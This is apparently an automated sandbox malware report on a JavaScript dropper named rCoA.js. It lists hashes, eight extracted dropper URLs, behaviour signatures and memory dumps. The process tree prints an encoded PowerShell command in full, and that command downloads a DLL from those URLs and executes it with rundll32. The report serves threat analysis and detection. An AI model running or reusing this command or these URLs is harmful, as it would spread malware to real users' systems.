aaae46d614933d1f6d932e3ec9b76902ab2d5788a41e7e97858aa637b86f5233

Analysis

max time kernel
31s
max time network
34s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
16/03/2023, 07:13

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General

Target

rCoA.js
Size

84KB
MD5

9f9c96d904107988f9228890f0ca30d5
SHA1

16f7c265d11ea75cb62345555c51073526a6c762
SHA256

aaae46d614933d1f6d932e3ec9b76902ab2d5788a41e7e97858aa637b86f5233
SHA512

cec6f9e4eec258f2f988afeaa0a4ce7a9fdd7d1d3839fa23e318f17374e784fb3d9958807a9ae24781af90fa1ab414390c59061a18f88c6c9af22d6c24073734
SSDEEP

1536:g43+92oVhnGoW/bLBiVuuCHGHHfYLS0dwPphjiG5yE:TOrnn2P8V6mf65ds3P

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://dimoparkhogar.com/7VQuf/1

exe.dropper

https://fondationjoelkrasso.org/rjzgP6/1

exe.dropper

https://lamired.com/8FIz2P/1

exe.dropper

https://kotogadang-pusako.com/MweGD/1

exe.dropper

https://laposadadeugartearequipa.com/NARKhE/1

exe.dropper

https://earnforpak.com/CzIUp/1

exe.dropper

https://cocovedaglobal.com/XBtcjkQ/1

exe.dropper

https://accesstelematics.com/Ulo3MpM/1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2024	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2024	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2036 wrote to memory of 2024	2036	wscript.exe	28
PID 2036 wrote to memory of 2024	2036	wscript.exe	28
PID 2036 wrote to memory of 2024	2036	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\rCoA.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQAYQBuAGEAYwByAG8AdABpAHMAbQBVAG4AZABlAHIAcwB1AHAAcABsAHkAaQBuAGcAIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBkAGkAbQBvAHAAYQByAGsAaABvAGcAYQByAC4AYwBvAG0ALwA3AFYAUQB1AGYALwAxACwAaAB0AHQAcABzADoALwAvAGYAbwBuAGQAYQB0AGkAbwBuAGoAbwBlAGwAawByAGEAcwBzAG8ALgBvAHIAZwAvAHIAagB6AGcAUAA2AC8AMQAsAGgAdAB0AHAAcwA6AC8ALwBsAGEAbQBpAHIAZQBkAC4AYwBvAG0ALwA4AEYASQB6ADIAUAAvADEALABoAHQAdABwAHMAOgAvAC8AawBvAHQAbwBnAGEAZABhAG4AZwAtAHAAdQBzAGEAawBvAC4AYwBvAG0ALwBNAHcAZQBHAEQALwAxACwAaAB0AHQAcABzADoALwAvAGwAYQBwAG8AcwBhAGQAYQBkAGUAdQBnAGEAcgB0AGUAYQByAGUAcQB1AGkAcABhAC4AYwBvAG0ALwBOAEEAUgBLAGgARQAvADEALABoAHQAdABwAHMAOgAvAC8AZQBhAHIAbgBmAG8AcgBwAGEAawAuAGMAbwBtAC8AQwB6AEkAVQBwAC8AMQAsAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAHYAZQBkAGEAZwBsAG8AYgBhAGwALgBjAG8AbQAvAFgAQgB0AGMAagBrAFEALwAxACwAaAB0AHQAcABzADoALwAvAGEAYwBjAGUAcwBzAHQAZQBsAGUAbQBhAHQAaQBjAHMALgBjAG8AbQAvAFUAbABvADMATQBwAE0ALwAxACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGQAZQB2AG8AbABhAHQAaQBsAGkAcwBpAG4AZwBQAHUAZgBmAGIAYQBsAGwAIABpAG4AIAAkAGEAbgBhAGMAcgBvAHQAaQBzAG0AVQBuAGQAZQByAHMAdQBwAHAAbAB5AGkAbgBnACkAIAB7AHQAcgB5ACAAewBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAGQAZQB2AG8AbABhAHQAaQBsAGkAcwBpAG4AZwBQAHUAZgBmAGIAYQBsAGwAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAAxADUAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAFMAZQBwAGkAbwBsAGEALgBkAGwAbAA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAFMAZQBwAGkAbwBsAGEALgBkAGwAbAApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABTAGUAcABpAG8AbABhAC4AZABsAGwALABYAFMAOAA4ADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7AH0AfQA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2024

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2024-58-0x000000001B2F0000-0x000000001B5D2000-memory.dmp

Filesize
2.9MB

Download
memory/2024-59-0x0000000002040000-0x0000000002048000-memory.dmp

Filesize
32KB

Download
memory/2024-60-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2024-61-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2024-62-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2024-63-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2024-64-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2024-65-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2024-66-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download